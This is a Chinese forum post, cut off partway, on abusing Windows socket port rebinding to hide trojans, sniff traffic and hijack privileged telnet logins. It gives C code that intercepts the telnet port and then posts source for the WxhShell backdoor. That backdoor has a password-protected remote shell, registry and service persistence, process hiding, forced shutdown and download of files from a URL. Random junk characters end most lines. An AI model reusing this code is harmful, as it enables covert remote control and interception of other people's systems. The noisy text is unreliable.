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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U;x1}eFT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (j8GiJ]{L,  
u;+%Qh  
  saddr.sin_family = AF_INET; pG,<_N@P  
",~ b2]ym  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]PR|d\O  
o5N]((9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0M#N=%31  
K[Y c<Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jj=yG"$!  
#joF{ M{  
  这意味着什么?意味着可以进行如下的攻击: gq H`GI  
l9_m>X~   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?)!SmN/  
F1 <489  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I$aXnd6)  
yD"]{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s~'9Hv9  
f*{M3"$E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <)_:NRjBF&  
X!U]`Qh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6PiEa(  
McT\ R{/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ky'|Wk6   
a<f;\$h]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3xBN10R#  
5c<b|  
  #include MS{Hz,I,  
  #include m3U+ du  
  #include m5e\rMN~>\  
  #include    - ,R0IGS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nHI(V-E2:H  
  int main() `[X6#` <  
  { rU; g0'4e  
  WORD wVersionRequested; 8'3"uv  
  DWORD ret; bHO7* E  
  WSADATA wsaData; :0nK`$'  
  BOOL val; pt=7~+r  
  SOCKADDR_IN saddr; AiY|O S3R  
  SOCKADDR_IN scaddr; *GCA6X  
  int err; |tG05+M  
  SOCKET s; |2qR^Hd&5  
  SOCKET sc; @ L\-ZWq  
  int caddsize; ~@%(RMJm&  
  HANDLE mt;  C}Rs[  
  DWORD tid;   p9/bzT34.  
  wVersionRequested = MAKEWORD( 2, 2 ); |)^clkuGX  
  err = WSAStartup( wVersionRequested, &wsaData ); Bp &6x;MJf  
  if ( err != 0 ) { Xf6fH O  
  printf("error!WSAStartup failed!\n"); (})]H:W7  
  return -1; {GUb'J  
  } {VBR/M(q  
  saddr.sin_family = AF_INET; j?=VtVP  
   H9sZR>(^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ah 4kA LO  
P\.WXe#j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .H Fc9^.*  
  saddr.sin_port = htons(23); $X`bm*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mg#`t$ u  
  { U%Dit  
  printf("error!socket failed!\n"); Z/xV\Ggx  
  return -1; MO[c0n%  
  } /^d. &@*  
  val = TRUE; AeN 3<|RN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  NI^{$QMj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b([:,T7  
  { y^9bfMA  
  printf("error!setsockopt failed!\n"); v,n);  
  return -1; S<V-ZV&_:U  
  } <BZ_ (H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1d`cTaQ-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K-Re"zsz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pV8[l)J  
}(m1ql  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N"S3N)wgd  
  { J(4g4?  
  ret=GetLastError(); t5%TS:u  
  printf("error!bind failed!\n"); TS1pR"6l  
  return -1; Y^4q9?2G  
  } 0%/,>IR>r  
  listen(s,2); ya#RII']  
  while(1) iA]DE`S  
  { ?vvG)nW  
  caddsize = sizeof(scaddr); ^Fn%K].X  
  //接受连接请求 Bu&So|@TL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'CgV0&@  
  if(sc!=INVALID_SOCKET) >xZ5 ac I  
  { d60c$?"]a(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kPWBDpzN  
  if(mt==NULL) $Tfm/=e  
  { >Dxe>Q'df  
  printf("Thread Creat Failed!\n"); 18jJzYawh  
  break; S,XKW(5   
  } YDW|-HIF  
  } jg?bf/$s  
  CloseHandle(mt);  %W(^6p!  
  } k<!<<,Z  
  closesocket(s); (9E( Q*J5x  
  WSACleanup(); / HL_$g<  
  return 0; nMkOUW:T!  
  }   { yTpRQN~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~)_K"h.DY  
  { :Pc(DfkS  
  SOCKET ss = (SOCKET)lpParam; 3+ e4e  
  SOCKET sc; C1 tb`  
  unsigned char buf[4096]; UAdz-)$  
  SOCKADDR_IN saddr; |4 Qx=x>  
  long num; <Kg2$lu(_`  
  DWORD val; ><cU7 ja[^  
  DWORD ret; hzv3F9.x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v_.HGG S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0JK2%%  
  saddr.sin_family = AF_INET; +N7"EROc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w~]T<^fW~  
  saddr.sin_port = htons(23); vf[&7n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \Y+")  
  { dIvy!d2l  
  printf("error!socket failed!\n"); RJ@\W=aZ  
  return -1; JwB"\&'1ZS  
  } ewpig4  
  val = 100; @cPflb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a#$N%=j  
  { qIz}$%!A  
  ret = GetLastError(); ^,`M0g\$  
  return -1; S#mK Pi+3  
  } f\ 'T_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i@XB&;*c\  
  { &~'S)Nun  
  ret = GetLastError(); i*'Z3Z)  
  return -1; ;?zF6zvQ  
  } VNO'="U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cW; H!:&  
  { IytDvz*|  
  printf("error!socket connect failed!\n"); sCkO0dl8  
  closesocket(sc); (vnoP< 0  
  closesocket(ss); Cs#w72N  
  return -1; JYQ.EAsr!  
  } )nOE 8y/  
  while(1) \ADLMj`F|  
  { < <sE`>)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #jm@N7OZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9n"V\e_R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kr]z]4.d@  
  num = recv(ss,buf,4096,0); kutJd{68  
  if(num>0) I>aGp|4  
  send(sc,buf,num,0); +j.qZ8  
  else if(num==0) Q ?^4\_  
  break; Lc%xc`n8B  
  num = recv(sc,buf,4096,0); e^8BV;+c  
  if(num>0) ?2ItTrlB  
  send(ss,buf,num,0); )b9_C O}  
  else if(num==0) r8,om^N6  
  break; 4gb'7'  
  } Y& 5.9 s@'  
  closesocket(ss); "Vy WT  
  closesocket(sc); l sr?b  
  return 0 ; +(&|uq^  
  } T pD;  
*{|$FQnR>(  
oqYt/4^Q  
========================================================== `7\H41%\pp  
A? r^V2+j  
下边附上一个代码,,WXhSHELL 'g hys1H  
VX!hv`E  
========================================================== :BD>yOlG  
s4bv;W  
#include "stdafx.h" 5z Kqb  
]Jn2Ra"j  
#include <stdio.h> QZ~0o7  
#include <string.h> 03_pwB)^  
#include <windows.h> mf9hFy* <4  
#include <winsock2.h> Kp&3=e;vn{  
#include <winsvc.h> 0sh~I  
#include <urlmon.h> )NIv  "Q  
iD714+N(  
#pragma comment (lib, "Ws2_32.lib") #ouE r-=  
#pragma comment (lib, "urlmon.lib")  n}OU Y  
?-,6<K1  
#define MAX_USER   100 // 最大客户端连接数 j^nu|  
#define BUF_SOCK   200 // sock buffer \c% g M1  
#define KEY_BUFF   255 // 输入 buffer 9@'4P  
$@.jZ_G  
#define REBOOT     0   // 重启 i ?-Y  
#define SHUTDOWN   1   // 关机 =?/&u<  
H %z/v|e6  
#define DEF_PORT   5000 // 监听端口 PJK9704 6  
*HeVACxo  
#define REG_LEN     16   // 注册表键长度 9go))&`PJL  
#define SVC_LEN     80   // NT服务名长度 T?rH ,$:  
> c:Zx!  
// 从dll定义API F>-}*o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m#n]Wgp'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8wmQ4){  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b 4OnZ;FI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P)hi||[  
;_N5>3C:  
// wxhshell配置信息 aq$q ~,E  
struct WSCFG { p[qg&VKB  
  int ws_port;         // 监听端口 yWY|]Pp  
  char ws_passstr[REG_LEN]; // 口令 J>h;_jA  
  int ws_autoins;       // 安装标记, 1=yes 0=no EEwWucQ  
  char ws_regname[REG_LEN]; // 注册表键名 6 64q~_@B1  
  char ws_svcname[REG_LEN]; // 服务名 7n&yv9"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p+Lv=e)0u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2*'ciH37  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U\bC0q   
int ws_downexe;       // 下载执行标记, 1=yes 0=no sLhDO'kM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zJC EA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  KGT3|)QN  
!8/gL  
}; K<RqBecB  
x0<^<D&Q  
// default Wxhshell configuration 0T9. M(  
struct WSCFG wscfg={DEF_PORT, " " %#cDR  
    "xuhuanlingzhe", LGVlc@0'  
    1, |,sM ST%  
    "Wxhshell", $^h?:L:1n  
    "Wxhshell", B}\BeFt'  
            "WxhShell Service", Ct!S Tk[2  
    "Wrsky Windows CmdShell Service", !*vBW/  
    "Please Input Your Password: ", x{hn2]6+eB  
  1, WcEt%mGQ,  
  "http://www.wrsky.com/wxhshell.exe", %{'4. ,  
  "Wxhshell.exe" q qvF-mDN  
    }; A[JM4x   
iLtc HpN  
// 消息定义模块 #jP/k.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yU_9a[$V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |';7v)CIG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,LUTHWEo"I  
char *msg_ws_ext="\n\rExit."; k|B2@{  
char *msg_ws_end="\n\rQuit."; -oh7d$~  
char *msg_ws_boot="\n\rReboot..."; j^ EbO3  
char *msg_ws_poff="\n\rShutdown..."; qm%nIU \*  
char *msg_ws_down="\n\rSave to "; >>7aw" 0  
BY( eV!  
char *msg_ws_err="\n\rErr!"; ^y Vl"/  
char *msg_ws_ok="\n\rOK!"; uJ8{HB  
nk/vGa4  
char ExeFile[MAX_PATH]; D=&K&6rr  
int nUser = 0; ?,XC =}  
HANDLE handles[MAX_USER]; 9@y3IiZ"}  
int OsIsNt; 2w4MJ,Uw  
ri+U0[e3  
SERVICE_STATUS       serviceStatus; 0roCP=;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QO,+ps<  
Ac\W\=QvB  
// 函数声明 <|H ?gfM  
int Install(void); m UgRm]  
int Uninstall(void); OKPJuV`y6  
int DownloadFile(char *sURL, SOCKET wsh); _tWE8 r,  
int Boot(int flag); GV6mzD@ <  
void HideProc(void); q-IWRb0j%a  
int GetOsVer(void); v3-?CQb(  
int Wxhshell(SOCKET wsl); I%xn,u  
void TalkWithClient(void *cs); Xw^X&Pp  
int CmdShell(SOCKET sock); "&-C$J5 Id  
int StartFromService(void); uvv.WbZ  
int StartWxhshell(LPSTR lpCmdLine); ,Rz }=j  
o;QZe&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SdI1}&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P4 6,o  
~ 5"J(  
// 数据结构和表定义 X4Xf2aXI  
SERVICE_TABLE_ENTRY DispatchTable[] = j-32S!  
{ 6?o>{e7n^  
{wscfg.ws_svcname, NTServiceMain}, 6mHhC?  
{NULL, NULL} a D|Yo  
}; }\Z5{OA  
aYVDp{_  
// 自我安装 eqhAus?)  
int Install(void) p(?3 V  
{ ps+:</;Z  
  char svExeFile[MAX_PATH]; )4uq iA6  
  HKEY key; JIV8q HC  
  strcpy(svExeFile,ExeFile); XKSX#cia  
q%S8\bt  
// 如果是win9x系统,修改注册表设为自启动 xR}of"  
if(!OsIsNt) { K)5;2lN,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fl)zQcA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N^J*!]|  
  RegCloseKey(key); r/Dd& x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NvHN -^2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X9~p4ys9{  
  RegCloseKey(key); {^m5#f 0"  
  return 0; P(;Mb{  
    } )U5u" ]9~  
  } v{koKQ'Y()  
} C Z tiWZ  
else { TzrW   
&+- e  
// 如果是NT以上系统,安装为系统服务 v#Upw\!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nh;y:Bi  
if (schSCManager!=0) #r}uin*jD  
{ J]\^QMX  
  SC_HANDLE schService = CreateService ^PQM;"  
  ( u[EK#%  
  schSCManager, _FsB6 G]mc  
  wscfg.ws_svcname, EfKntrom[  
  wscfg.ws_svcdisp, j^ I!6j=ZX  
  SERVICE_ALL_ACCESS, } 07r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xwOE+  
  SERVICE_AUTO_START, 0b++ 17aV  
  SERVICE_ERROR_NORMAL, ]!aUT&  
  svExeFile, @p]UvqtB@  
  NULL, 8\_*1h40s  
  NULL, qTy v.#{y  
  NULL, hr~.Lj5^W  
  NULL, Efr3x{ j  
  NULL Tf[dZ(+\  
  ); !I7?  
  if (schService!=0) }`]]b+_b>@  
  { OG}KqG!n  
  CloseServiceHandle(schService); mz-N{>k  
  CloseServiceHandle(schSCManager); "tX7%(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h2;l1 G,  
  strcat(svExeFile,wscfg.ws_svcname); 6t$N78U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uO"8aD`W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e~ BJvZ}Q  
  RegCloseKey(key);  mn`5pha  
  return 0; y5%5O xB  
    } G?ZC 9w]rA  
  } mATH*[Y  
  CloseServiceHandle(schSCManager); 5rN7':(H!%  
} ?i%nMlcc  
} b9#m m  
JV%nH! Fs  
return 1; zq=&4afOE  
} DKHM\yt  
U' M|=I'  
// 自我卸载 Bac|;+L~L  
int Uninstall(void) %rXexy!V  
{ ArX]L$ D  
  HKEY key; yxY h?ka  
+wAp,Xr  
if(!OsIsNt) { vv* |F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l7~Pa0qD  
  RegDeleteValue(key,wscfg.ws_regname); }5hZo%w[n  
  RegCloseKey(key); R8ZD#,;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U!NI_uk  
  RegDeleteValue(key,wscfg.ws_regname); kQ[Jo%YT?E  
  RegCloseKey(key); 2-7Z(7G{ F  
  return 0; %ET # z!  
  } ?RJdn]`4j  
} R#LGFXUj  
} i'iO H|s  
else { nF|Oy0  
Z9f/-|r5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <M305BH  
if (schSCManager!=0) B G5X_s0/  
{ /+29.1#|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pJ6Jx(  
  if (schService!=0) Rdj8 *f  
  { )r#,ML  
  if(DeleteService(schService)!=0) { hpas'H>J  
  CloseServiceHandle(schService); J@gm@ jLc  
  CloseServiceHandle(schSCManager); K4Y'B o4  
  return 0; $E@ouX?  
  } jJ<;2e~OW  
  CloseServiceHandle(schService); (gD Q\t@3-  
  } ;t~*F#p(!  
  CloseServiceHandle(schSCManager); [9J:bD  
} r;'i<t{P  
} 6"%@ L{UQ  
Z,SY N?@  
return 1; (H2ylMpQt  
} GI?PGAT  
Eo Ko   
// 从指定url下载文件 1]Lhk?4t  
int DownloadFile(char *sURL, SOCKET wsh) BPh".RJ  
{ $8Ig&k|~8  
  HRESULT hr; V07VwVD  
char seps[]= "/"; Yfe'#MKfL  
char *token; P*7S3Td  
char *file; dB@FI  
char myURL[MAX_PATH]; %fBP:5%K  
char myFILE[MAX_PATH]; 4?v$<=#21*  
r:73uRk  
strcpy(myURL,sURL); 3Qk/ Ll  
  token=strtok(myURL,seps); nPcxknl(pd  
  while(token!=NULL) a^(2q{*  
  { ^glX1 )  
    file=token; {N "*olx  
  token=strtok(NULL,seps); 7MoR9,(  
  } z>7=k`x`:  
}'v{dK  
GetCurrentDirectory(MAX_PATH,myFILE); %uj[`  
strcat(myFILE, "\\"); ~z&0qQ  
strcat(myFILE, file); WX ,p`>n  
  send(wsh,myFILE,strlen(myFILE),0); ;eP_;N5+J  
send(wsh,"...",3,0); p1klLX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^]i" H|(x  
  if(hr==S_OK) ?P%|P   
return 0; %n4@[fG%K  
else +;YE)~R?  
return 1; $.``OxJk%  
D/e&7^iK  
} ftxTX3X  
z}iSq$  
// 系统电源模块 lx`q *&E  
int Boot(int flag) c5<kbe  
{ 7&h\l6}Yh  
  HANDLE hToken; >B`Cch/ 'U  
  TOKEN_PRIVILEGES tkp; t?KUK>>w  
::v;)VdX+*  
  if(OsIsNt) { j{)fC]8H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l},dQ4R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ijE<spG  
    tkp.PrivilegeCount = 1; CcBQo8!G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ccRlql(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )4@M`8  
if(flag==REBOOT) { J`4Z<b53  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y$>+U  
  return 0; PL9<*.U"=  
} *3 !(*F@M,  
else { dr.**fGYde  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Z5q&#f  
  return 0; MST:.x ;  
} h|K\z{ A  
  } JIVo=5c}  
  else { +I*k0"gj6  
if(flag==REBOOT) { h] <GTWj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _cR6ik zW(  
  return 0; NS h%t+XU]  
} 3T"2S[gT  
else { VIb;96$Or  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 92s4u3 L;  
  return 0; B^H4Q 4-  
} j'\>Nn+  
} !&qx7eOSpP  
&Q2NU$  
return 1; yVT&rQ"{  
} Um/CR!  
]gb _Nv  
// win9x进程隐藏模块 +8]W\<Kp  
void HideProc(void) }*0,>w>  
{ ur?d6 a  
5BrU'NF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~azF+}x90N  
  if ( hKernel != NULL ) 43+EX.c  
  { f#*h^91x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f;e_04K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :x8Jy4L  
    FreeLibrary(hKernel); =g/4{IL%  
  } :8](&B68gE  
@m5O{[euj<  
return; bjuYA/w<  
} F(J\ctha  
s[Y)d>~\$=  
// 获取操作系统版本 mYntU^4f  
int GetOsVer(void) iU.!oeR?  
{ .UNF~}^H  
  OSVERSIONINFO winfo; W,xi> 5k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B0 6s6Q  
  GetVersionEx(&winfo); >_rzT9gX&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -kWO2  
  return 1; j kSc&  
  else F~tm`n8Z  
  return 0; Kl4isGcr]  
} 7h(HG?2Y  
) ~ l\  
// 客户端句柄模块 VI(RT-S6  
int Wxhshell(SOCKET wsl) i6-wf Gs;  
{ Mr$# e  
  SOCKET wsh;  aeEw#  
  struct sockaddr_in client; OG0r4^6Ly  
  DWORD myID; 7xX;MB &  
`Af{H/qiI  
  while(nUser<MAX_USER) /p[|DJo M  
{ b{Z^)u2X  
  int nSize=sizeof(client); AQE eIFH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y'tqm&}  
  if(wsh==INVALID_SOCKET) return 1; 6"BtfQ")  
Q&oC]u(="&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5oVLv4Z9u  
if(handles[nUser]==0) %M|Z}2qv  
  closesocket(wsh); 8:Z@lp^  
else xnJjCEZ  
  nUser++; aQz|!8Is  
  } mgmWDtxN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ah6wU|_-g  
}wvwZ`5t  
  return 0; 9V|E1-")E  
} 1~["{u  
| \ s2  
// 关闭 socket &p/S>qKu#  
void CloseIt(SOCKET wsh) :iP>z}h  
{ |pfhrwJp  
closesocket(wsh); >t 1_5  
nUser--; QH@Q\ @,  
ExitThread(0); fG:PdIJ7_  
} o?:;8]sr!  
;X?Ah  
// 客户端请求句柄 TYs+XJ'Xj  
void TalkWithClient(void *cs) ]jHh7> D  
{ BNAguAxWo  
#E- VW  
  SOCKET wsh=(SOCKET)cs; k98< s  
  char pwd[SVC_LEN]; 7P3 <o!YA  
  char cmd[KEY_BUFF]; KzEuPJ?  
char chr[1]; >2l13^Y  
int i,j; 2rK-X_}  
h Jfa_  
  while (nUser < MAX_USER) { .8u$z`j  
d$2@,  
if(wscfg.ws_passstr) { [VY8?y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &/b? I `  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nrab*K(][  
  //ZeroMemory(pwd,KEY_BUFF);  ET >S  
      i=0; [@,OG-"&  
  while(i<SVC_LEN) { />dB%*  
r1[E{Tpz  
  // 设置超时 RB S[*D  
  fd_set FdRead; ,pQ'w7  
  struct timeval TimeOut; MgJ%26TZ  
  FD_ZERO(&FdRead); 3a'Rs{qxn  
  FD_SET(wsh,&FdRead); v#Cz&j  
  TimeOut.tv_sec=8; LK'S)Jk  
  TimeOut.tv_usec=0; mQwk!* U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t9Enk!@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *r)zBr  
21[K[ %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tnQR<  
  pwd=chr[0]; S5:"_U  
  if(chr[0]==0xd || chr[0]==0xa) { |i,zY{GI+2  
  pwd=0; OqfhCNAY  
  break; R&u)=~O\5  
  } {AU` }*5  
  i++; c,v^A+sZu  
    } ]jVIpGM  
}m=t zHB*  
  // 如果是非法用户,关闭 socket p56KS5duI.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )bB"12Z|8  
} P#dG]NMf  
fZka%[B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wo:zU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "_ PH"W  
!SLP8|Cd  
while(1) { RZ#alFL,  
JfZL?D{NM  
  ZeroMemory(cmd,KEY_BUFF); C?GvTc  
LG/=+[\{E  
      // 自动支持客户端 telnet标准   2.fyP"P L  
  j=0; T[Z <bW~0  
  while(j<KEY_BUFF) { 2]of SdM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 pM  
  cmd[j]=chr[0]; kcq9p2zKv  
  if(chr[0]==0xa || chr[0]==0xd) { >:Rt>po8|w  
  cmd[j]=0; Bo](n*i  
  break; p`E|SNt/W  
  } f"5lOzj`C  
  j++; &y#\1K  
    } WL IDw@fv  
bm|Jb"T0b  
  // 下载文件 Nt`F0 9S  
  if(strstr(cmd,"http://")) { Z/V`Z* fy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UA69_E{JCH  
  if(DownloadFile(cmd,wsh)) L:t)$iF5+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %KJ"rvi4K  
  else (c|$+B^*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jf %!I  
  } U<ku_(2"#  
  else { -dc5D@4`#s  
Q{H!s_6iyv  
    switch(cmd[0]) { `@f hge  
  hQg,#r(JE4  
  // 帮助 C&gOA8nf  
  case '?': { b:}wR*Adc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bik] JIM  
    break; /?.r!Cp  
  } 2-"Lxe65f  
  // 安装 3oppV_^JdT  
  case 'i': { /ctaAQDUh\  
    if(Install()) |?;"B:0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohQz%?r  
    else YO.`l~ v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K%[}[.cW  
    break; 1}n)J6m  
    } %T&&x2p^=?  
  // 卸载 uJ|5 Ve  
  case 'r': { IEIxjek  
    if(Uninstall()) P\*2c*,W;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W G3mQ\k  
    else dN$D6*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3&a*]  
    break; .  T6_N  
    } F'?5V0\he  
  // 显示 wxhshell 所在路径 @ }zS/LO  
  case 'p': { @,y FY  
    char svExeFile[MAX_PATH]; D*d 3w  
    strcpy(svExeFile,"\n\r"); GM9]>"#o\  
      strcat(svExeFile,ExeFile); +s+PnZ%0V  
        send(wsh,svExeFile,strlen(svExeFile),0); wa(Wit"-  
    break; H649J)v+m  
    } evndw>  
  // 重启 t(z(-G|&  
  case 'b': { cjy0s+>>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  bbQ 10H  
    if(Boot(REBOOT)) 8M3p\}O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xvdnEaWe$  
    else { ;:-2~z~~  
    closesocket(wsh); A3 Rm 0  
    ExitThread(0); %4r!7X|O<  
    } =XRgT1>e  
    break; .^9/ 0.g8t  
    } XDrlJvrPL  
  // 关机 )'K!)?&d  
  case 'd': { d 40'3]/{  
